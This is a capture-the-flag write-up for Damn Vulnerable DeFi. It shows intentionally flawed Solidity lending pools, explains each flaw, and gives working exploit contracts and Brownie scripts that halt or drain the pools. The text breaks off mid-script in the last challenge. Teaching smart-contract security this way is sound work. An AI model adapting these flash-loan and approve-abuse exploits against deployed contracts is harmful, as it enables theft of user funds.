Damn Vulnerable Defi CTF


Common Contracts

DamnValuableToken.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

/**
* @title DamnValuableToken
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract DamnValuableToken is ERC20 {

// Decimals are set to 18 by default in `ERC20`
constructor() ERC20("DamnValuableToken", "DVT") {
_mint(msg.sender, type(uint256).max);
}
}

DamnValuableTokenSnapshot.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";

/**
* @title DamnValuableTokenSnapshot
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract DamnValuableTokenSnapshot is ERC20Snapshot {

uint256 private lastSnapshotId;

constructor(uint256 initialSupply) ERC20("DamnValuableToken", "DVT") {
_mint(msg.sender, initialSupply);
}

function snapshot() public returns (uint256) {
lastSnapshotId = _snapshot();
return lastSnapshotId;
}

function getBalanceAtLastSnapshot(address account) external view returns (uint256) {
return balanceOfAt(account, lastSnapshotId);
}

function getTotalSupplyAtLastSnapshot() external view returns (uint256) {
return totalSupplyAt(lastSnapshotId);
}
}

DamnValuableNFT.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

/**
* @title DamnValuableNFT
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @notice Implementation of a mintable and burnable NFT with role-based access controls
*/
contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl {
using Counters for Counters.Counter;

bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
Counters.Counter private _tokenIdCounter;

constructor() ERC721("DamnValuableNFT", "DVNFT") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
}

function safeMint(address to) public onlyRole(MINTER_ROLE) returns (uint256) {
uint256 tokenId = _tokenIdCounter.current();
_safeMint(to, tokenId);
_tokenIdCounter.increment();
return tokenId;
}

function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, AccessControl)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}

WETH9.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
pragma solidity ^0.7.0;

contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;

event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);

mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;

receive() external payable {
deposit();
}

function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}

function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);
emit Withdrawal(msg.sender, wad);
}

function totalSupply() public view returns (uint) {
return address(this).balance;
}

function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}

function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}

function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);

if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}

balanceOf[src] -= wad;
balanceOf[dst] += wad;

emit Transfer(src, dst, wad);

return true;
}
}

Unstoppable

There’s a lending pool with a million DVT tokens in balance, offering flash loans for free.

If only there was a way to attack and stop the pool from offering flash loans …

You start with 100 DVT tokens in balance.

UnstoppableLender.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

interface IReceiver {
function receiveTokens(address tokenAddress, uint256 amount) external;
}

/**
* @title UnstoppableLender
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract UnstoppableLender is ReentrancyGuard {

IERC20 public immutable damnValuableToken;
uint256 public poolBalance;

constructor(address tokenAddress) {
require(tokenAddress != address(0), "Token address cannot be zero");
damnValuableToken = IERC20(tokenAddress);
}

function depositTokens(uint256 amount) external nonReentrant {
require(amount > 0, "Must deposit at least one token");
// Transfer token from sender. Sender must have first approved them.
damnValuableToken.transferFrom(msg.sender, address(this), amount);
poolBalance = poolBalance + amount;
}

function flashLoan(uint256 borrowAmount) external nonReentrant {
require(borrowAmount > 0, "Must borrow at least one token");

uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

// Ensured by the protocol via the `depositTokens` function
assert(poolBalance == balanceBefore);

damnValuableToken.transfer(msg.sender, borrowAmount);

IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);

uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}

ReceiverUnstoppable.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/**
* @title ReceiverUnstoppable
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ReceiverUnstoppable {

UnstoppableLender private immutable pool;
address private immutable owner;

constructor(address poolAddress) {
pool = UnstoppableLender(poolAddress);
owner = msg.sender;
}

// Pool will call this function during the flash loan
function receiveTokens(address tokenAddress, uint256 amount) external {
require(msg.sender == address(pool), "Sender must be pool");
// Return all tokens to the pool
require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
}

function executeFlashLoan(uint256 amount) external {
require(msg.sender == owner, "Only owner can execute flash loan");
pool.flashLoan(amount);
}
}

To complete this challenge, we must stop the UnstoppableLender contract from giving Flash Loans. This is possible by exploiting the assert check inside the flashLoan() function; it checks if the balance of this contract is equal to the poolBalance, so if we transfer some tokens to the contract, the function raises the assertion error and reverts the flash loan.

Unstoppable.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import pytest
from brownie import DamnValuableToken, UnstoppableLender, ReceiverUnstoppable, accounts, exceptions
TOKENS_IN_POOL = 1000000
INITIAL_ATTACKER_TOKEN_BALANCE = 100


def deploy():
deployer, attacker, someuser = accounts[:3]

token = DamnValuableToken.deploy({'from': deployer})
pool = UnstoppableLender.deploy(token.address, {'from': deployer})

token.approve(pool.address, TOKENS_IN_POOL, {'from': deployer})
pool.depositTokens(TOKENS_IN_POOL, {'from': deployer})

token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE, {
'from': deployer})

assert token.balanceOf(pool.address) == TOKENS_IN_POOL
assert token.balanceOf(attacker.address) == INITIAL_ATTACKER_TOKEN_BALANCE

receivercontract = ReceiverUnstoppable.deploy(
pool.address, {'from': someuser})
receivercontract.executeFlashLoan(10, {'from': someuser})

return deployer, attacker, someuser, token, pool, receivercontract


def exploit(token, pool, attacker):
token.transfer(pool.address, INITIAL_ATTACKER_TOKEN_BALANCE, {
'from': attacker})


def after(receivercontract, someuser):
with pytest.raises(exceptions.VirtualMachineError):
tx = receivercontract.executeFlashLoan(10, {'from': someuser})
assert bool(tx.status)


def main():
deployer, attacker, someuser, token, pool, receivercontract = deploy()

exploit(token, pool, attacker)

after(receivercontract, someuser)

Naive receiver

There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.

You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.

Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)

NaiveReceiverLenderPool.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
* @title NaiveReceiverLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract NaiveReceiverLenderPool is ReentrancyGuard {

using Address for address;

uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

function fixedFee() external pure returns (uint256) {
return FIXED_FEE;
}

function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {

uint256 balanceBefore = address(this).balance;
require(balanceBefore >= borrowAmount, "Not enough ETH in pool");


require(borrower.isContract(), "Borrower must be a deployed contract");
// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(
abi.encodeWithSignature(
"receiveEther(uint256)",
FIXED_FEE
),
borrowAmount
);

require(
address(this).balance >= balanceBefore + FIXED_FEE,
"Flash loan hasn't been paid back"
);
}

// Allow deposits of ETH
receive () external payable {}
}

FlashLoanReceiver.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

/**
* @title FlashLoanReceiver
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FlashLoanReceiver {
using Address for address payable;

address payable private pool;

constructor(address payable poolAddress) {
pool = poolAddress;
}

// Function called by the pool during flash loan
function receiveEther(uint256 fee) public payable {
require(msg.sender == pool, "Sender must be pool");

uint256 amountToBeRepaid = msg.value + fee;

require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");

_executeActionDuringFlashLoan();

// Return funds to pool
pool.sendValue(amountToBeRepaid);
}

// Internal function where the funds received are used
function _executeActionDuringFlashLoan() internal { }

// Allow deposits of ETH
receive () external payable {}
}

To complete this challenge, we need to drain the balance of FlashLoanReceiver since anyone can execute the flashLoan() function inside the NaiveReceiverLenderPool contract providing the address of FlashLoanReceiver. We can do the same and deduct FIXED_FEE 1 ether from the FlashLoanReceiver contract. To do this in one transaction, we can deploy a smart contract and call the flashLoan function until we drain the balance.

naivereciever_exploit.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface FlashLoanReceiver {
function flashLoan(address borrower, uint256 borrowAmount) external;
}

contract naivereciever_Exploit {
FlashLoanReceiver pool;
address receiver;

constructor(address _address, address __address) {
pool = FlashLoanReceiver(_address);
receiver = __address;
}

function exploit() public {
while (receiver.balance > 0) {
pool.flashLoan(receiver, address(pool).balance);
}
}
}

naivereciever.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from brownie import NaiveReceiverLenderPool, FlashLoanReceiver, naivereciever_Exploit, accounts, Wei
ETHER_IN_POOL = 1000
ETHER_IN_RECEIVER = 10


def deploy():
deployer, attacker, someuser = accounts[:3]

pool = NaiveReceiverLenderPool.deploy(
{'from': deployer})
deployer.transfer(to=pool, amount=Wei(f'{ETHER_IN_POOL} ether'))

assert pool.balance() == Wei(f'{ETHER_IN_POOL} ether')
assert pool.fixedFee() == Wei('1 ether')

receiver = FlashLoanReceiver.deploy(pool, {'from': deployer})
deployer.transfer(to=receiver, amount=Wei(f'{ETHER_IN_RECEIVER} ether'))

assert receiver.balance() == Wei(f'{ETHER_IN_RECEIVER} ether')

return deployer, attacker, someuser, pool, receiver


def exploit(pool, receiver, attacker):
exploit = naivereciever_Exploit.deploy(pool, receiver, {'from': attacker})
exploit.exploit({'from': attacker})


def after(pool, receiver):
assert receiver.balance() == 0
assert pool.balance() == Wei(f'{ETHER_IN_POOL+ETHER_IN_RECEIVER} ether')


def main():
deployer, attacker, someuser, pool, receiver = deploy()

exploit(pool, receiver, attacker)

after(pool, receiver)

Truster

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

Currently the pool has 1 million DVT tokens in balance. And you have nothing.

But don’t worry, you might be able to take them all from the pool. In a single transaction.

TrusterLenderPool.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {

using Address for address;

IERC20 public immutable damnValuableToken;

constructor (address tokenAddress) {
damnValuableToken = IERC20(tokenAddress);
}

function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
)
external
nonReentrant
{
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);

uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

}

To solve this challenge, we must drain all the token balances of the TrusterLenderPool contract. If we look at the flashLoan() function, we can notice that the contract runs a function call to the given target address with the given data data. If we use this to make the contract to approve tokens for the attacker address, then the attacker can use the transferFrom() function to steal the tokens.

truster_exploit.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";

interface TrusterLenderPool {
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
) external;
}

contract truster_Exploit {
using Address for address;

IERC20 public token;
TrusterLenderPool pool;

constructor(address _address, address __address) {
token = IERC20(_address);
pool = TrusterLenderPool(__address);
}

function exploit() public {
pool.flashLoan(
0,
address(this),
address(token),
abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
token.balanceOf(address(pool))
)
);
token.transferFrom(
address(pool),
msg.sender,
token.balanceOf(address(pool))
);
}
}

truster.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from brownie import DamnValuableToken, TrusterLenderPool, truster_Exploit, accounts
TOKENS_IN_POOL = 1000000


def deploy():

deployer, attacker = accounts[:2]

token = DamnValuableToken.deploy({'from': deployer})

pool = TrusterLenderPool.deploy(token, {'from': deployer})
token.transfer(pool, TOKENS_IN_POOL)

assert token.balanceOf(pool) == TOKENS_IN_POOL
assert token.balanceOf(attacker) == 0

return deployer, attacker, pool, token


def exploit(token, pool, attacker):
exploit = truster_Exploit.deploy(token, pool, {'from': attacker})
exploit.exploit({'from': attacker})


def after(token, pool, attacker):
assert token.balanceOf(pool) == 0
assert token.balanceOf(attacker) == TOKENS_IN_POOL


def main():
deployer, attacker, pool, token = deploy()

exploit(token, pool, attacker)

after(token, pool, attacker)

Side entrance

A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time.

This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.

You must take all ETH from the lending pool.

SideEntranceLenderPool.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";

interface IFlashLoanEtherReceiver {
function execute() external payable;
}

/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceLenderPool {
using Address for address payable;

mapping(address => uint256) private balances;

constructor() payable {}

function deposit() external payable {
balances[msg.sender] += msg.value;
}

function withdraw() external {
uint256 amountToWithdraw = balances[msg.sender];
balances[msg.sender] = 0;
payable(msg.sender).sendValue(amountToWithdraw);
}

function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");

IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

require(
address(this).balance >= balanceBefore,
"Flash loan hasn't been paid back"
);
}
}

We must steal all the ether from the lender to complete this challenge. We can notice that this contract does not use the ReentrancyGuard library and does not count the balance separately for the deposits and the loans. Since the flashLoan() function only checks for the balance of the contract, we can use the deposit() function to return the lender ether, this increases the balance of the attacker, and we can withdraw the ether with ease.

FlashLoanEtherReceiver.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface SideEntranceLenderPool {
function deposit() external payable;

function withdraw() external payable;

function flashLoan(uint256) external;
}

contract FlashLoanEtherReceiver {
SideEntranceLenderPool pool;

constructor(address _address) {
pool = SideEntranceLenderPool(_address);
}

function exploit() public {
pool.flashLoan(address(pool).balance);
pool.withdraw();
payable(msg.sender).transfer(address(this).balance);
}

function execute() external payable {
pool.deposit{value: msg.value}();
}

receive() external payable {}
}

side-entrance.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from brownie import SideEntranceLenderPool, FlashLoanEtherReceiver, accounts, Wei

ETHER_IN_POOL = 1000


def deploy():

deployer, attacker = accounts[:2]

pool = SideEntranceLenderPool.deploy(
{'from': deployer, 'value': f'{ETHER_IN_POOL} ether'})

attackerInitialEthBalance = attacker.balance()
assert pool.balance() == Wei(f'{ETHER_IN_POOL} ether')

return deployer, attacker, pool, attackerInitialEthBalance


def exploit(pool, attacker):
exploit = FlashLoanEtherReceiver.deploy(pool, {'from': attacker})
exploit.exploit({'from': attacker})


def after(attackerInitialEthBalance, pool, attacker):
assert pool.balance() == 0
assert attacker.balance() > attackerInitialEthBalance


def main():
deployer, attacker, pool, attackerInitialEthBalance = deploy()

exploit(pool, attacker)

after(attackerInitialEthBalance, pool, attacker)

The rewarder

There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.

Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!

You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

Oh, by the way, rumours say a new pool has just landed on mainnet. Isn’t it offering DVT tokens in flash loans?

AccountingToken.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

/**
* @title AccountingToken
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @notice A limited pseudo-ERC20 token to keep track of deposits and withdrawals
* with snapshotting capabilities
*/
contract AccountingToken is ERC20Snapshot, AccessControl {

bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");

constructor() ERC20("rToken", "rTKN") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
_setupRole(SNAPSHOT_ROLE, msg.sender);
_setupRole(BURNER_ROLE, msg.sender);
}

function mint(address to, uint256 amount) external {
require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");
_mint(to, amount);
}

function burn(address from, uint256 amount) external {
require(hasRole(BURNER_ROLE, msg.sender), "Forbidden");
_burn(from, amount);
}

function snapshot() external returns (uint256) {
require(hasRole(SNAPSHOT_ROLE, msg.sender), "Forbidden");
return _snapshot();
}

// Do not need transfer of this token
function _transfer(address, address, uint256) internal pure override {
revert("Not implemented");
}

// Do not need allowance of this token
function _approve(address, address, uint256) internal pure override {
revert("Not implemented");
}
}

FlashLoanerPool.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";

/**
* @title FlashLoanerPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)

* @dev A simple pool to get flash loans of DVT
*/
contract FlashLoanerPool is ReentrancyGuard {

using Address for address;

DamnValuableToken public immutable liquidityToken;

constructor(address liquidityTokenAddress) {
liquidityToken = DamnValuableToken(liquidityTokenAddress);
}

function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));
require(amount <= balanceBefore, "Not enough token balance");

require(msg.sender.isContract(), "Borrower must be a deployed contract");

liquidityToken.transfer(msg.sender, amount);

msg.sender.functionCall(
abi.encodeWithSignature(
"receiveFlashLoan(uint256)",
amount
)
);

require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
}
}

RewardToken.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

/**
* @title RewardToken
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @dev A mintable ERC20 with 2 decimals to issue rewards
*/
contract RewardToken is ERC20, AccessControl {

bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");

constructor() ERC20("Reward Token", "RWT") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
}

function mint(address to, uint256 amount) external {
require(hasRole(MINTER_ROLE, msg.sender));
_mint(to, amount);
}
}

TheRewarderPool.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./RewardToken.sol";
import "../DamnValuableToken.sol";
import "./AccountingToken.sol";

/**
* @title TheRewarderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)

*/
contract TheRewarderPool {

// Minimum duration of each round of rewards in seconds
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;

uint256 public lastSnapshotIdForRewards;
uint256 public lastRecordedSnapshotTimestamp;

mapping(address => uint256) public lastRewardTimestamps;

// Token deposited into the pool by users
DamnValuableToken public immutable liquidityToken;

// Token used for internal accounting and snapshots
// Pegged 1:1 with the liquidity token
AccountingToken public accToken;

// Token in which rewards are issued
RewardToken public immutable rewardToken;

// Track number of rounds
uint256 public roundNumber;

constructor(address tokenAddress) {
// Assuming all three tokens have 18 decimals
liquidityToken = DamnValuableToken(tokenAddress);
accToken = new AccountingToken();
rewardToken = new RewardToken();

_recordSnapshot();
}

/**
* @notice sender must have approved `amountToDeposit` liquidity tokens in advance
*/
function deposit(uint256 amountToDeposit) external {
require(amountToDeposit > 0, "Must deposit tokens");

accToken.mint(msg.sender, amountToDeposit);
distributeRewards();

require(
liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
);
}

function withdraw(uint256 amountToWithdraw) external {
accToken.burn(msg.sender, amountToWithdraw);
require(liquidityToken.transfer(msg.sender, amountToWithdraw));
}

function distributeRewards() public returns (uint256) {
uint256 rewards = 0;

if(isNewRewardsRound()) {
_recordSnapshot();
}

uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

if (amountDeposited > 0 && totalDeposits > 0) {
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;

if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}

return rewards;
}

function _recordSnapshot() private {
lastSnapshotIdForRewards = accToken.snapshot();
lastRecordedSnapshotTimestamp = block.timestamp;
roundNumber++;
}

function _hasRetrievedReward(address account) private view returns (bool) {
return (
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}

function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}

Our goal is to get more than 100 rewardTokens and make others get less than 0.01 rewardTokens in the next round without any DVT. Since the TheRewardPool contract is using an ERC20Snapshot extension for the AccountingToken and the rewards are based on the latest snapshot, which is valid for the next five days from lastRecordedSnapshotTimestamp it lends DVT from the FlashLoanerPool and deposit in the TheRewardPool when it is about to record the snapshot using _recordSnapshot() function, we will be able to manage the rewarding system that we kept the tokens in the contract for next five days which will impact the reward amount since we have more DVT even after we withdrew and returned to the FlashLoanerPool because the distributeRewards() function checks the balance in the latest snapshot instead of the current balance, we get more reward nearly 100 * 10 ** 18, and others get significantly fewer rewards which are negligible.

the_rewarder_exploit.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface TheRewarderPool {
function deposit(uint256 amountToDeposit) external;

function withdraw(uint256 amountToWithdraw) external;

function distributeRewards() external returns (uint256);
}

interface FlashLoanerPool {
function flashLoan(uint256 amount) external;
}

interface DamnValuableToken {
function transfer(address to, uint256 amount) external;

function balanceOf(address account) external view returns (uint256);

function approve(address spender, uint256 amount) external;
}

interface RewardToken {
function transfer(address to, uint256 amount) external;

function balanceOf(address account) external view returns (uint256);
}

contract therewarder_Exploit {
TheRewarderPool reward_pool;
FlashLoanerPool flash_pool;
DamnValuableToken token;
RewardToken reward_token;

constructor(
address _address,
address __address,
address _address_,
address __address_
) {
reward_pool = TheRewarderPool(_address);
flash_pool = FlashLoanerPool(__address);
token = DamnValuableToken(_address_);
reward_token = RewardToken(__address_);
}

function receiveFlashLoan(uint256 amount) public {
require(msg.sender == address(flash_pool));

token.approve(address(reward_pool), amount);
reward_pool.deposit(amount);
reward_pool.distributeRewards();
reward_pool.withdraw(amount);
token.transfer(msg.sender, amount);
}

function exploit() public {
flash_pool.flashLoan(token.balanceOf(address(flash_pool)));
reward_token.transfer(
msg.sender,
reward_token.balanceOf(address(this))
);
}
}

the-rewarder.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from brownie import DamnValuableToken, FlashLoanerPool, AccountingToken, TheRewarderPool, RewardToken, therewarder_Exploit, accounts, chain, Wei


TOKENS_IN_LENDER_POOL = Wei("1000000 ether")


def deploy():
deployer, alice, bob, charlie, david, attacker = accounts[:6]
users = [alice, bob, charlie, david]

liquidityToken = DamnValuableToken.deploy({'from': deployer})
flash_pool = FlashLoanerPool.deploy(
liquidityToken, {'from': deployer})

liquidityToken.transfer(
flash_pool, TOKENS_IN_LENDER_POOL, {'from': deployer})

rewarderPool = TheRewarderPool.deploy(liquidityToken, {'from': deployer})
rewardToken = RewardToken.at(rewarderPool.rewardToken())
accountingToken = AccountingToken.at(rewarderPool.accToken())

amount = Wei("100 ether")
for i in users:
liquidityToken.transfer(i, amount, {'from': deployer})
